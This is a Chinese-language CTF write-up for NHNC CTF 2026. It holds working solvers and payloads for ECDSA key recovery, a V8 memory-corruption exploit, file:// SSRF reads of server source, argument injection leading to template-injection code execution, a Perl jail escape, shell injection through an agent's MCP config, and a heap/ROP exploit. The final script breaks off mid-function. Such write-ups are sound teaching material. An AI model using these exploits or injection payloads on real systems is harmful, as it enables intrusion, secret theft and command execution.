NHNC CTF 2026 writeup
25 mins
5067 words
Loading views
CTF

跟新加入的臺灣學生戰隊 RCEs 第一次打比賽,拿了學生組第一。 image image

感謝各位大佬帶我飛🙏

Talking to the Sunh2

  • Author: whale120

使用者可以註冊、登入,然後產生一段 lyric line。伺服器會對 {account, message} 做 ECDSA 簽章,並把結果包成 token,目標是提交一個通過驗證、且 account == whale@whale-tw.com 的 token,驗證成功後 /api/verify 會回傳 flag。

Exploit:

  1. 多個不同帳號共用同一個 stored account
  2. ECDSA nonce 高 384 bits 相同
  3. Hidden Number Problem
  4. LLL 還原私鑰
  5. 偽造 admin token 拿 flag
  • solver.py
#!/usr/bin/env python3
import base64, hashlib, json, secrets, requests
from urllib.parse import urljoin
from ecdsa.curves import BRAINPOOLP512r1
from fpylll import IntegerMatrix, LLL
BASE = "change challenge url here"
SAMPLES = 6
B = 1 << 128
ADMIN = "whale@whale-tw.com"
TARGET = "SinGen Said: At sunrise, when it answers over my signal, I sit by the sun."
def b64e(x): return base64.urlsafe_b64encode(x).rstrip(b"=").decode()
def b64d(x): return base64.urlsafe_b64decode(x + "=" * (-len(x) % 4))
def payload(a, m):
return json.dumps({"account": a, "message": m}, ensure_ascii=False,
sort_keys=True, separators=(",", ":"))
def z(a, m):
return int.from_bytes(hashlib.sha512(payload(a, m).encode()).digest(), "big")
def parse(t, size):
_, p, sig = t.split(".")
p, sig = json.loads(b64d(p)), b64d(sig)
a, m = p["account"], p["message"]
r = int.from_bytes(sig[:size], "big")
s = int.from_bytes(sig[size:], "big")
return a, m, r, s, z(a, m)
def fake_mail(i):
return "a@b." + "\u0130" * 32766 + f"x{i}{secrets.token_hex(8)}.com"
def mat(rows):
M = IntegerMatrix(len(rows), len(rows[0]))
for i in range(len(rows)):
for j in range(len(rows[0])):
M[i, j] = int(rows[i][j])
return M
def center(x, n):
x %= n
return x - n if x > n // 2 else x
def collect():
base = BASE.rstrip("/") + "/"
info = requests.get(urljoin(base, "/api/info")).json()
n, size = int(info["order"]), int(info["order_bytes"])
sigs = []
for i in range(SAMPLES):
s = requests.Session()
mail = fake_mail(i)
pw = "A" * 16
s.post(urljoin(base, "/register"), data={"email": mail, "password": pw})
s.post(urljoin(base, "/login"), data={"email": mail, "password": pw})
opt = {
"time": i % 50,
"motion": (i * 7 + 1) % 50,
"place": (i * 11 + 2) % 50,
"seat": (i * 13 + 3) % 50,
}
token = s.post(urljoin(base, "/api/generate"), json=opt).json()["token"]
sigs.append(parse(token, size))
return base, info, n, size, sigs
def recover(n, sigs):
r0, s0, h0 = sigs[0][2], sigs[0][3], sigs[0][4]
inv = pow(s0, -1, n)
a0, c0 = r0 * inv % n, h0 * inv % n
A, C = [], []
for _, _, r, s, h in sigs[1:]:
inv = pow(s, -1, n)
A.append((r * inv - a0) % n)
C.append((h * inv - c0) % n)
for m in range(2, min(len(A), 8) + 1):
rows = []
for i in range(m):
row = [0] * (m + 1)
row[i] = n * n
rows.append(row)
rows.append([x * n for x in A[:m]] + [B])
target = [-x * n for x in C[:m]] + [0]
weight = B * n
L = mat([r + [0] for r in rows] + [target + [weight]])
LLL.reduction(L)
for i in range(L.nrows):
row = [int(L[i, j]) for j in range(L.ncols)]
if abs(row[-1]) != weight:
continue
row = [(1 if row[-1] > 0 else -1) * x for x in row[:-1]]
for a, c, v in zip(A[:m], C[:m], row[:m]):
if v % n:
continue
for e in (v // n, -v // n):
d = (e - c) * pow(a, -1, n) % n
if all(abs(center(a * d + c, n)) < B for a, c in zip(A, C)):
return d
def sign(a, m, d, n, size):
G = BRAINPOOLP512r1.generator
h = z(a, m)
while True:
k = secrets.randbelow(n - 1) + 1
r = (k * G).x() % n
s = pow(k, -1, n) * (h + r * d) % n
if r and s:
sig = r.to_bytes(size, "big") + s.to_bytes(size, "big")
return "singen." + b64e(payload(a, m).encode()) + "." + b64e(sig)
base, info, n, size, sigs = collect()
d = recover(n, sigs)
admin = info.get("admin_account", ADMIN)
target = info.get("target", TARGET)
token = sign(admin, target, d, n, size)
print(requests.post(urljoin(base, "/api/verify"), json={"token": token}).text)

Web3JSh2

  • Author: whale120

題目提供一個被修改過的 d8,裡面多了一個 evm() API。使用者送 base64 encoded JavaScript 給服務端執行。目標是利用自訂 EVM binding 的漏洞,在 V8 裡拿到 arbitrary read/write,最後呼叫 hidden v8::Shell::System執行 /readflag 拿 flag。

Exploit:

  1. vm.push(obj) 會把 JS object 的 raw tagged pointer 放進 EVM stack
  2. vm.stack() 可以把這個值讀出來,形成 addrof
  3. vm.get(idx) 沒有檢查 stack 下界,vm.get(0) 可以讀到 stack[-1]
  4. MSTORE8 在 EVM memory 裡偽造 stack slot,讓 vm.get(0) 回傳任意 tagged pointer,形成 fakeobj
  5. 偽造 PACKED_DOUBLE JSArray,得到 heap arbitrary read/write
  6. 找到 d8.file.existsFunctionTemplateInfo.callback
  7. 把 callback 從 v8::Shell::FileExists 改成 v8::Shell::System
  8. 呼叫 d8.file.exists('/readflag'),實際會變成 system('/readflag')
  • exploit.js
const convBuf = new ArrayBuffer(8);
const f64 = new Float64Array(convBuf);
const u64 = new BigUint64Array(convBuf);
function ftoi(x) {
f64[0] = x;
return u64[0];
}
function itof(x) {
u64[0] = x;
return f64[0];
}
function addrof(obj) {
const vm = evm('00');
vm.push(obj);
return BigInt(vm.stack(1)[0]);
}
function writeByte(vm, off, val) {
vm.push(val & 0xff);
vm.push(off);
vm.step();
}
function fakeobj(addr) {
const vm = evm('53'.repeat(16));
const fakeSlotOff = 0xffd8;
for (let i = 0; i < 8; i++) {
writeByte(vm, fakeSlotOff + i, i === 0 ? 1 : 0);
}
for (let i = 0; i < 8; i++) {
writeByte(vm, fakeSlotOff + 8 + i, Number((addr >> BigInt(8 * i)) & 0xffn));
}
return vm.get(0);
}
const container = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8];
const containerAddr = addrof(container);
const elementsAddr = containerAddr - 0x48n;
const fakeArrayAddr = elementsAddr + 0x8n;
const PACKED_DOUBLE_ARRAY_MAP = 0x0100d30dn;
const EMPTY_FIXED_ARRAY = 0x000007e5n;
container[0] = itof((EMPTY_FIXED_ARRAY << 32n) | PACKED_DOUBLE_ARRAY_MAP);
container[1] = itof((0x100n << 32n) | (elementsAddr & 0xffffffffn));
const fakeArray = fakeobj(fakeArrayAddr);
function setFakeElements(addr) {
container[1] = itof((0x100n << 32n) | ((addr - 8n + 1n) & 0xffffffffn));
}
function aar64(addr) {
setFakeElements(addr);
return ftoi(fakeArray[0]);
}
function aaw64(addr, val) {
setFakeElements(addr);
fakeArray[0] = itof(val);
}
function fullPtr(compressed) {
return (containerAddr & 0xffffffff00000000n) | compressed;
}
const target = d8.file.exists;
const targetAddr = addrof(target);
const sfi = fullPtr(aar64(targetAddr - 1n + 16n) & 0xffffffffn);
const functionTemplateInfo = fullPtr(aar64(sfi - 1n + 8n) & 0xffffffffn);
const callbackField = functionTemplateInfo - 1n + 60n;
const fileExistsCallback = aar64(callbackField);
const shellSystem = fileExistsCallback - 0x1a80n;
aaw64(callbackField, shellSystem);
print(d8.file.exists('/readflag'));

#includeh2

  • Author: solarfish

打開前端可以看到它會檢查 URL:

if (!/^https?:\/\//i.test(url)) {
result.textContent = 'URL must start with http:// or https://';
return;
}

看起來只能丟 http://https://,但這只是前端檢查,所以其實直接打 /convert 就可以繞過。

不過這題有 reCAPTCHA,所以我最後是直接在瀏覽器解完 captcha 後,開 Console 送 file://

async function leak(url, name = 'out.pdf') {
const token = grecaptcha.getResponse();
const body = new URLSearchParams();
body.set('url', url);
body.set('g-recaptcha-response', token);
const r = await fetch('/convert', {
method: 'POST',
body
});
if (!r.ok) {
console.log(await r.text());
grecaptcha.reset();
return;
}
const blob = await r.blob();
const blobUrl = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = blobUrl;
a.download = name;
a.click();
URL.revokeObjectURL(blobUrl);
grecaptcha.reset();
}

然後直接讀 source:

leak('file:///proc/self/cwd/server.js', 'server.pdf');

下載 PDF 後就可以看到後端 source

重點在這段:

async function points_to_local_directory(input) {
let url;
try {
url = new URL(input);
} catch {
return false;
}
if (url.protocol !== 'file:') {
return false;
}
try {
return (await fs.stat(file_url_to_path(url))).isDirectory();
} catch {
return false;
}
}

它只有擋 file:// 指到資料夾的情況。

所以像這個會被擋:

file:///proc/self/cwd/

但這種讀檔案的就不會:

file:///proc/self/cwd/server.js

因此可以直接把 server.js 抓下來轉成 PDF 然後就可以看到 flag了


Farewell, #includeh2

  • Author: solarfish

題目 hint 有說可以用上一題的方法先拿資訊,所以一開始一樣先用 file:// 讀 source。

這次沒有 captcha,可以直接打 /convert

Terminal window
BASE='challenge url here'
curl -s -X POST "$BASE/convert" \
--data-urlencode 'url=file:///proc/self/cwd/server.js' \
-o server.pdf

然後再讀 package.json

Terminal window
curl -s -X POST "$BASE/convert" \
--data-urlencode 'url=file:///proc/self/cwd/package.json' \
-o package.pdf

可以看到這題多了 mdpdf,而且 server.js 也多了幾種 converter:

if (converter === 'standard-pdf') {
result = await run_html_pdf_node(urls);
} else if (converter === 'lite-pdf') {
result = await run_percollate(urls);
} else if (converter === 'markdown-pdf') {
result = await run_md_pdf(urls);
}

run_percollate

function run_percollate(user_input) {
return new Promise(resolve => {
const job = create_job('lite-pdf');
const urls = getallurl(user_input);
const args = [
'pdf',
'--no-sandbox',
'--output',
path.resolve(job.output_path),
...urls
];
const child = spawn(process.execPath, [percollate_cli, ...args], {
cwd: work_dir,
stdio: ['ignore', 'ignore', 'ignore'],
env: {
...process.env,
PUPPETEER_EXECUTABLE_PATH:
process.env.PUPPETEER_EXECUTABLE_PATH ||
'/usr/bin/chromium'
}
});
});
}

這邊把使用者輸入直接接到 percollate 的 argv 後面。

getallurl 只是用空白切開:

function getallurl(input) {
return String(input || '')
.trim()
.split(/\s+/)
.filter(Boolean);
}

我可以把 URL 寫成:

--title=ARG_INJECTION_TEST
https://example.com

測試:

Terminal window
cat > payload.txt <<'EOF'
--title=ARG_INJECTION_TEST
https://example.com
EOF
curl -s -X POST "$BASE/convert" \
--data-urlencode 'converter=lite-pdf' \
--data-urlencode url@payload.txt \
-o argtest.pdf

載下來後發現 image

代表 --title 被 percollate 當成 option 吃進去了。

接著去 leak percollate 的 source:

Terminal window
curl -s -X POST "$BASE/convert" \
--data-urlencode 'converter=standard-pdf' \
--data-urlencode 'url=file:///app/lib/percollate/src/cli-opts.js' \
-o cli-opts.pdf

可以看到 --template--title 都是合法 option:

let opts_with_optarg = new Set([
'output',
'template',
'style',
'css',
'url',
'wait',
'title',
'author',
'browser',
'toc-level',
]);

再看 /app/lib/percollate/index.js

Terminal window
curl -s -X POST "$BASE/convert" \
--data-urlencode 'converter=standard-pdf' \
--data-urlencode 'url=file:///app/lib/percollate/index.js' \
-o percollate-index.pdf

裡面會讀 template,然後丟給 Nunjucks render:

const html = nunjucks.renderString(
await readFile(options.template || DEFAULT_TEMPLATE, 'utf8'),
{
filetype: 'pdf',
title,
author,
date: new Date(),
items,
style,
options: {
use_toc,
use_cover:
options.cover ||
(options.cover !== false &&
(options.title || items.length > 1))
}
}
);

所以只要能控制 --template,就可以控制 Nunjucks template。

問題是 --template 要本機 path,不是 HTTP URL。

這邊可以用一個 Linux trick:

/proc/self/cmdline

這個檔案會包含目前 process 的 argv。

而我們剛好可以控制 argv,所以可以讓 percollate 讀自己的 argv,並且把它當成 Nunjucks template render。

測 SSTI:

Terminal window
cat > payload.txt <<'EOF'
--template=/proc/self/cmdline
--title={{range.constructor("return(7*7)")()}}
https://example.com
EOF
curl -s -X POST "$BASE/convert" \
--data-urlencode 'converter=lite-pdf' \
--data-urlencode url@payload.txt \
-o ssti-test.pdf

輸出裡可以看到: image

執行 /readflag,它會回: image

Usage: /readflag give me the flag

所以要執行的是 /readflag give me the flag

但是 payload 不能有空白,因為 server 會先 .split(/\s+/)

所以不能直接:

execSync('/readflag give me the flag')

改用 Node.js 的 spawn_sync,用 argv array 傳參數:

args:['/readflag','give','me','the','flag']

最後 payload:

Terminal window
cat > payload.txt <<'EOF'
--template=/proc/self/cmdline
--title={{range.constructor("r=process.binding('spawn_sync').spawn({file:'/readflag',args:['/readflag','give','me','the','flag'],cwd:'/tmp',envPairs:Object.entries(process.env).map(e=>e[0]+'='+e[1]),stdio:[{type:'pipe',readable:true,writable:false},{type:'pipe',readable:false,writable:true},{type:'pipe',readable:false,writable:true}]});return(r.output[1].toString()+r.output[2].toString())")()}}
https://example.com
EOF
curl -s -X POST "$BASE/convert" \
--data-urlencode 'converter=lite-pdf' \
--data-urlencode url@payload.txt \
-o flag.pdf

就可以看到 flag: image


Camel riderh2

  • Author: Frank

這題是一個黑箱 Perl Jail

Exploit:

  1. openreadlinerequireevalsystem/qx 等危險關鍵字被 blacklist
  2. flag.txt 本身沒有被擋
  3. ARGV 也沒有被擋
  4. Perl 的 <ARGV> 可以讀取 @ARGV 裡指定的檔案
  5. 用具名 diamond operator <ARGV> 避開被擋的 <>

最後 payload:

@ARGV=q(flag.txt);print<ARGV>

travel againh2

  • Author: yochan06

通靈出應該在北海道,經過Google後發現這兩尊跟圖片上的幾乎一樣https://www.town.shikaoi.lg.jp/kurashi/kyoiku_bunka/history/shiseki_guide/n127/

Flag: NHNC{43.1849,143.0325}


Homeworkh2

  • Author: ConsoleBreak

這題表面上是一個 matrix calculator,使用者可以輸入 XY 兩個矩陣和 operation。實際上程式有一個隱藏 operation blend <shift>,可以透過 shift 對 heap 上的 Real array 做越界存取。題目 debug 資訊會提示 Y[0][0] 到內部矩陣 A[0][1] 的距離剛好是 3 個 Real,所以用 blend 3 可以控制 A[0][1]。通過檢查後,程式會 leak na_plus_dbcC,再要求輸入隨機字串 T,最後用矩陣關係把 T 反推回來即可拿 flag。

Exploit:

  1. 設定 XY 都是 1x1 matrix
  2. 使用隱藏 operation blend 3
  3. 因為 Y[0][0] + 3 * sizeof(Real) == A[0][1],所以可以覆寫 A[0][1]
  4. X = 0Y = 1e80,讓 A[0][1] = 1e80
  5. 程式會 leak na_plus_dbcC
  6. 已知 b = 1e80,所以可以算出 c = bc / b
  7. 建立 companion matrix [[0, b], [c, a_plus_d]] ** n
  8. 對每個 C[i] 反推第一個座標,也就是 ord(T[i])
  9. 組回 T 後送回程式取得 flag
  • solver.py
#!/usr/bin/env python3
from pwn import *
from decimal import *
import re, sys
context.log_level = "error"
getcontext().prec = 650
getcontext().Emax = 999999999
getcontext().Emin = -999999999
E = 80
B = Decimal(10) ** E
io = remote(sys.argv[1], int(sys.argv[2])) if len(sys.argv) == 3 else process(sys.argv[1])
io.send(
b"1 1\n1 1\n0\n" +
(b"1" + b"0" * E) + b"\n"
b"blend 3\n"
)
s = io.recvuntil(b"T:").decode(errors="ignore")
n = int(re.search(r"n = (\d+)", s).group(1))
tr = Decimal(re.search(r"a_plus_d = ([^\n]+)", s).group(1))
bc = Decimal(re.search(r"bc = ([^\n]+)", s).group(1))
nums = [Decimal(x) for x in re.findall(r"[-+]?\d+(?:\.\d+)?e[+-]?\d+", s.split("C = ", 1)[1])]
def mul(a, b):
return [
[a[0][0]*b[0][0]+a[0][1]*b[1][0], a[0][0]*b[0][1]+a[0][1]*b[1][1]],
[a[1][0]*b[0][0]+a[1][1]*b[1][0], a[1][0]*b[0][1]+a[1][1]*b[1][1]],
]
m = [[Decimal(0), B], [bc / B, tr]]
r = [[Decimal(1), Decimal(0)], [Decimal(0), Decimal(1)]]
while n:
if n & 1:
r = mul(r, m)
m = mul(m, m)
n >>= 1
det = (-bc) ** int(re.search(r"n = (\d+)", s).group(1))
T = ""
for x, y in zip(nums[::2], nums[1::2]):
v = (r[1][1] * x - r[0][1] * y) / det
T += chr(int(v.to_integral_value(rounding=ROUND_HALF_EVEN)))
io.sendline(T.encode())
print(io.recvall(timeout=2).decode(errors="ignore"), end="")

Tea-agenth2

  • Author: LemonTea

題目讓使用者上傳 MCP config,agent 會檢查 command 必須是 /app/mcp_memory,但啟動 server 時把 args 直接接進 shell command,沒有正確 quote,導致可以在參數裡插入 ; 做 command injection。因為 cat /flag 被擋,所以改用 dd</flag 讀出 flag。

Exploit:

  1. command 保持 /app/mcp_memory 通過 allowlist
  2. --profile 參數插入 ;dd</flag;#
  3. shell 實際執行 /app/mcp_memory --profile=guest;dd</flag;# ...
  4. dd 讀取 /flag 並輸出到 MCP stdout
  • payload.json
{
"mcpServers": {
"x": {
"command": "/app/mcp_memory",
"args": [
"--profile=guest;dd</flag;#",
"--topic=general"
]
}
}
}

I Love Proxyh2

  • Author: LemonTea

題目有一個對外的 edge-httpd proxy,內部還有一個只 expose 在 docker network 的 courier:7000edge-httpd 的 UDP control plane 可以註冊 proxy route,但 activation 的 global key 是由攻擊者給的 seed 算出來的,沒有真正認證,所以可以註冊 /H -> courier:7000。接著利用 courier.cgi 的 hidden route hash、header hash padding、長 Host 檢查與偽造 body command object,最後觸發 run_filter("cat /flag.txt") 拿 flag。

Exploit:

  1. edge-httpd 發現 UDP control plane 可以新增 route
  2. 送 activation packet,自己算出 global key
  3. 送 route registration packet,註冊 /H -> courier:7000
  4. courier.cgi 找到 hidden route:suffix_hash_is(PATH_INFO, 10, 0x26045b27)
  5. 使用同時滿足 suffix hash / full path hash 的 path:/H=\xc8\x01\x01\xc8/1kVa/6.9R
  6. X-Pad 讓 raw header 的 FNV hash 變成指定 tag
  7. 用超長 Host header 通過 host/body chain check
  8. 在 512-byte body 裡偽造 courier 的 command object
  9. command 設成 cat /flag.txt,callback 指到 run_filter
  • solver.py
#!/usr/bin/env python3
import re, socket, struct, sys, time
from urllib.parse import urlparse
M32 = 0xffffffff
M64 = 0xffffffffffffffff
def rol32(x,r): return ((x<<r)|(x>>(32-r))) & M32
def ror32(x,r): return ((x>>r)|(x<<(32-r))) & M32
def rol64(x,r):
x &= M64; r &= 63
return ((x<<r)|(x>>(64-r))) & M64
def ror64(x,r):
x &= M64; r &= 63
return ((x>>r)|(x<<(64-r))) & M64
def mix64(x):
x &= M64
x = ((x ^ (x >> 30)) * 0xbf58476d1ce4e5b9) & M64
x = ((x ^ (x >> 27)) * 0x94d049bb133111eb) & M64
return (x ^ (x >> 31)) & M64
def fnv(d, h=0x811c9dc5):
for c in d:
h = ((h ^ c) * 0x1000193) & M32
return h
def csum(d, seed):
r11 = (seed & 0xff) ^ len(d) ^ 0x9e3779b9
edi = seed & M32
r10 = seed & 0xff
for i,b in enumerate(d):
x = (b + (edi & 0xff)) & M32
m = (i ^ r10) & 3
if m == 1:
x = (rol32(x ^ 0x41, (i & 7) + 3) + r11) & M32
elif m == 2:
x = ror32((x * 0x10101) & M32, (i & 7) + 1) ^ r11
elif m == 0:
x = ((x << ((i & 3) * 8)) & M32) ^ r11
else:
x = (((r11 >> 11) ^ x) + r11) & M32
edi = (edi + 0x11) & M32
r11 = ((rol32(x, 5) * 0x45d9f3b) + 0x27100001) & M32
return (r11 ^ 0xa5c31e2d) & M32
def edge_key(seed):
ebx = int.from_bytes(seed.to_bytes(4, "big"), "little")
a = (((seed ^ 0x7f4a7c15) * 0x45d9f3b + 0x27100001) & M32)
a = rol32(a, ((ebx >> 24) & 7) + 5)
b = ror32((seed - 0x5a3ce1d3) & M32, ((ebx >> 16) & 7) + 3)
return 0x31415927 if a == b else (a ^ b) & M32
def activation(seed=0x12345678):
p = bytearray(b"\x89\x54\x32\x17" + bytes([3,0x36]) + seed.to_bytes(4,"big") + b"\0"*4)
p[10:14] = csum(p[4:10], (seed ^ 0xa7) & 0xff).to_bytes(4,"big")
return bytes(p), edge_key(seed)
def route_pkt(key, route=b"/H", up=b"courier:7000"):
k = 0x42
dec = k ^ 0xa7
er = bytes(c ^ ((0x31 + 13*i) & 0xff) ^ dec for i,c in enumerate(route))
eu = bytes(c ^ ((0x31 + 13*i) & 0xff) ^ dec for i,c in enumerate(up))
p = bytearray(b"\x89\x54\x32\x17" + bytes([3,0x71,0x22,k]))
p += len(route).to_bytes(2,"big") + len(up).to_bytes(2,"big") + key.to_bytes(4,"big")
p += er + eu
p += csum(p[4:], (k ^ 0xa7) & 0xff).to_bytes(4,"big")
return bytes(p)
def mark(tag,bucket,pressure):
x = ((pressure << 9) ^ (tag << 21) ^ bucket ^ 0x434f555249455237) & M64
return rol64((x * 0x9e3779b97f4a7c15) & M64, (tag & 0xf) + 7) ^ 0xa24baed4963ee407
def slot(tag,bucket,pressure,n):
return mix64((tag<<32) ^ (pressure<<7) ^ ((n*0x9e3779b97f4a7c15)&M64) ^ (bucket<<19) ^ 0x6c61796f75745f30) & 3
def slide(tag,bucket,pressure,gate,n):
x = ((n*0xd6e8feb86659fd93)&M64) ^ gate ^ mark(tag,bucket,pressure) ^ (tag<<23) ^ (pressure<<51) ^ 0x736c6964655f3130
return (mix64(x) % 3) * 8
def stream(tag,bucket,pressure,gate,i,l):
x = (pressure<<19) ^ i ^ (l<<7) ^ rol64(gate,(i&15)+3) ^ (tag<<32) ^ 0x544150455f4c4f47
x = (x + ((i*0x9e3779b97f4a7c15)&M64) + mark(tag,bucket,pressure)) & M64
y = mix64(x)
return (y ^ (y >> 17) ^ (y >> 41)) & M32
def cmdhash(enc,tag,bucket,pressure,gate):
v = (tag ^ ((pressure * 0x45d9f3b) & M32) ^ len(enc) ^ 0x811c9dc5) & M32
for i,b in enumerate(enc):
v = (((b + (stream(tag,bucket,pressure,gate,i,len(enc)) & 0xff)) ^ v) * 0x1000193) & M32
v ^= v >> 13
return (v ^ 0x6d2b79f5) & M32
def req():
n, tag, bucket, pressure = 512, 0x0d45c059, 17, 29
path = b"/H=\xc8\x01\x01\xc8/1kVa/6.9R"
gate = mix64((bucket << 44) ^ (pressure << 19) ^ 0x484570243e202f2c)
host12 = ((n << 7) ^ gate ^ 0x5353495f504f5354) & 0xffffffffffff
h = [
b"POST " + path + b" HTTP/1.1",
b"Host: " + b"A"*0x558 + f"{host12:012x}".encode(),
b"XXGATS_IGC: z",
b"Content-Length: 512",
b"-tveemh: raw",
] + [b"x-render-worker: z"] * 30
head = b"\r\n".join(h) + b"\r\nX-Pad: " + bytes.fromhex("b97455010105") + b"\r\n\r\n"
body = bytearray(b"\0" * n)
mk = mark(tag,bucket,pressure)
key = mix64((tag << 11) ^ (pressure << 47) ^ gate ^ 0x6a73696d705f6275)
body[0x49:0x51] = struct.pack("<Q", 0x58)
body[0x58:0x60] = struct.pack("<Q", 0x58)
body[0x80:0x88] = struct.pack("<Q", key ^ 0x9c8e949aa062989e)
body[0x88:0x90] = struct.pack("<Q", key ^ 0x01a00000)
body[0x90:0x98] = struct.pack("<Q", key ^ rol64((gate ^ mk) & M32, 17))
body[0xd0:0xd8] = struct.pack("<Q", 0xf8)
body[0xd8:0xe0] = struct.pack("<Q", 0x5245545f414c4947)
body[0xe0:0xe8] = struct.pack("<Q", 0x53595354454d5f31)
sl = slide(tag,bucket,pressure,gate,n)
st = slot(tag,bucket,pressure,n)
ecx = (tag ^ ((pressure * 0x45d9f3b) & M32)) & M32
x = (ecx ^ 0x6a09e667) & M32
x = ((x ^ (x >> 16)) * 0x7feb352d) & M32
x = (x ^ (x >> 15)) & M32
dst = (x & 7) + sl
def put(o,d):
body[o-dst:o-dst+len(d)] = d
xgm = gate ^ mk
seed = mix64((tag<<32) ^ (pressure<<23) ^ (st<<57) ^ ((n*0x94d049bb133111eb)&M64) ^ (sl<<48) ^ xgm ^ 0x7072656c75646531)
put(0x107, struct.pack("<Q", seed ^ 0x535441474532))
put(0x10f, struct.pack("<I", ror64(((tag << 17) & M64) ^ seed, (pressure & 7) + 5) & M32))
put(0x113, struct.pack("<H", (rol64(seed, bucket + 3) ^ n ^ 0x6d5a) & 0xffff))
put(0x115, bytes((mix64(((0x9e3779b97f4a7c15*i)&M64)+seed) ^ (9*i+0x31) ^ (n>>(i&7)) ^ (tag>>(8*(i&3)))) & 0xff for i in range(17)))
cache = mix64((tag<<33) ^ (pressure<<48) ^ (st<<12) ^ ((n*0xa24baed4963ee407)&M64) ^ (sl<<56) ^ xgm ^ 0x7463616368655f31)
put(0x126, struct.pack("<Q", cache))
put(0x146, struct.pack("<Q", mk))
cmd = b"cat /flag.txt"
enc = bytes(c ^ ((0x17*i - 0x59) & 0xff) ^ (stream(tag,bucket,pressure,gate,i,len(cmd)) & 0xff) for i,c in enumerate(cmd))
chk = cmdhash(enc,tag,bucket,pressure,gate)
put(0x13e, struct.pack("<I", len(cmd)))
put(0x142, struct.pack("<I", chk))
put(0x156, enc)
a = mix64(mk ^ ((tag<<28)&M64) ^ ((chk<<17)&M64) ^ ((len(cmd)<<49)&M64) ^ ((n*0xd6e8feb86659fd93)&M64) ^ rol64(gate,9) ^ 0xfeedface43474931)
sh = ((chk ^ len(cmd) ^ tag ^ (gate & M32)) & 0x1f) + 0x0d
target = 0x4022ac
put(0x14e, struct.pack("<Q", ((rol64(target ^ a, sh) - 0xe9a9984e61c88607) & M64) ^ ror64(a,17)))
return head + bytes(body)
def parse(u):
if "://" in u:
x = urlparse(u)
return x.hostname, x.port or 80
if ":" in u:
h,p = u.rsplit(":",1)
return h,int(p)
return u,int(sys.argv[2])
def main():
host, port = parse(sys.argv[1])
p1, key = activation()
p2 = route_pkt(key)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for _ in range(3):
s.sendto(p1, (host, port))
s.sendto(p2, (host, port))
time.sleep(0.05)
s = socket.create_connection((host, port))
s.sendall(req())
s.shutdown(socket.SHUT_WR)
res = b""
while True:
d = s.recv(65536)
if not d:
break
res += d
print(res.decode(errors="ignore"))
m = re.search(rb"NHNC\{[^}]+\}", res)
if m:
print("flag:", m.group().decode())
main()

TEAGod Tech Staff WiFih2

  • Author: chilin.h

這題是 FreeRADIUS / EAP-TLS。題目給的 freeradius/cert/ca.pem 不是內部 CA,而是公開的 Actalis Authentication Root CA,所以只要拿一張 Actalis 簽出的 client authentication certificate,就可以被當成合法 staff cert 通過驗證。

Exploit:

  1. 檢查 FreeRADIUS 的 EAP-TLS 設定,發現 client cert 信任 freeradius/cert/ca.pem
  2. 確認 ca.pemActalis Authentication Root CA
  3. 申請免費 Actalis client certificate,匯出 client.crt / client.key / chain.pem
  4. 只保留 leaf + Actalis Client Authentication CA G3,不要把 root 一起送,避免 packet 太大
  5. eapol_test 跑 EAP-TLS,成功後從 Reply-Message 拿 flag
  • staff.conf
network={
key_mgmt=IEEE8021X
eap=TLS
identity="your_mail@example.com"
ca_cert="freeradius/cert/ca.pem"
client_cert="client-min-chain.pem"
private_key="client-clean.key"
fragment_size=400
}

Flag: NHNC{Huh...HoW_did_U_10g_iN?_https://zeroday.hitcon.org/vulnerability/ZD-2025-00549}


67 login systemh2

  • Author: Auron

題目是一個 login system,使用者資料會用 malloc(0x48) 配置,結構大概是 name[0x40] + FILE*。漏洞點有兩個:show 會直接 printf(username) 造成 format string leak,update 會對 0x48 的 chunk 讀入 0x200 bytes,造成 heap overflow。利用 overflow 改壞後面 FILE chunk 的 size,製造 heap overlap,再 tcache poisoning 控制 .bss 上的 slots[],最後任意讀 leak libc,任意寫蓋 stack return address 打 system("cat /flag.txt")

Exploit:

  1. %7$p leak PIE,%13$p leak stack hint。
  2. show raw output leak slot0 後面的 FILE* heap address。
  3. overflow slot0,把後面 FILE chunk size 從 0x1e1 改成 0x51
  4. delete(slot0)fclose(FILE*) 會把 fake 0x50 chunk 放進 tcache。
  5. 重新 malloc 拿到舊 FILE chunk,造成 overlap,可以 overflow 到後面的 user chunk。
  6. free user chunk 後改 tcache next,safe-linking encode 成 slots[]
  7. malloc 到 slots[],取得任意讀寫。
  8. leak read@got 算 libc base。
  9. 掃 stack 找 main 裡 show/update 回來的位置,最後蓋 saved RIP。
  10. ROP 呼叫 system("cat /flag.txt") 拿 flag。
  • solver.py
#!/usr/bin/env python3
from pwn import *
import os
import re
BIN = "./chal" if os.path.exists("./chal") else "./share/chal"
LIBC = "./libc.so.6"
context.binary = exe = ELF(BIN, checksec=False)
libc = ELF(LIBC, checksec=False)
context.log_level = "info"
HOST = "txg.chal2.teagod.tech"
PORT = 16767
PROMPT = (
b"1. register\n"
b"2. show\n"
b"3. login\n"
b"4. update\n"
b"5. delete\n"
b"6. exit\n"
b"> "
)
OFF_PIE_LEAK_RET = 0x209c
OFF_SLOTS = 0x4060
OFF_READ_GOT = 0x3f88
OFF_RET = 0x101a
OFF_MAIN_AFTER_SHOW = 0x165c
def p64x(x):
return p64(x & 0xffffffffffffffff)
def start():
return remote(HOST, PORT) if args.REMOTE else process([exe.path])
io = start()
io.recvuntil(PROMPT)
def menu(n):
io.sendline(str(n).encode())
def reg(data):
menu(1)
io.recvuntil(b"username: ")
io.send(data)
return io.recvuntil(PROMPT)
def show(idx):
menu(2)
io.recvuntil(b"slot: ")
io.sendline(str(idx).encode())
return io.recvuntil(PROMPT)
def upd(idx, data):
menu(4)
io.recvuntil(b"slot: ")
io.sendline(str(idx).encode())
io.recvuntil(b"new username: ")
io.send(data)
return io.recvuntil(PROMPT)
def dele(idx):
menu(5)
io.recvuntil(b"slot: ")
io.sendline(str(idx).encode())
return io.recvuntil(PROMPT)
def raw_from_show(out):
i = out.rfind(PROMPT)
return out[i - 0x48:i]
def set_slots(s0=0, s1=None, s2=0, s3=0):
if s1 is None:
s1 = slots
upd(1, flat(p64x(s0), p64x(s1), p64x(s2), p64x(s3)))
def leak48(addr):
set_slots(s0=addr)
return raw_from_show(show(0))
def find_stack_ret(stack_hint):
target = pie + OFF_MAIN_AFTER_SHOW
start = (stack_hint - 0x500) & ~0xf
end = stack_hint + 0x300
for addr in range(start, end, 0x40):
data = leak48(addr)
for off in range(0, 0x48, 8):
if u64(data[off:off + 8]) == target:
return addr + off
return stack_hint - 0x120
def find_exec_gadget(elf, pat):
data = open(elf.path, "rb").read()
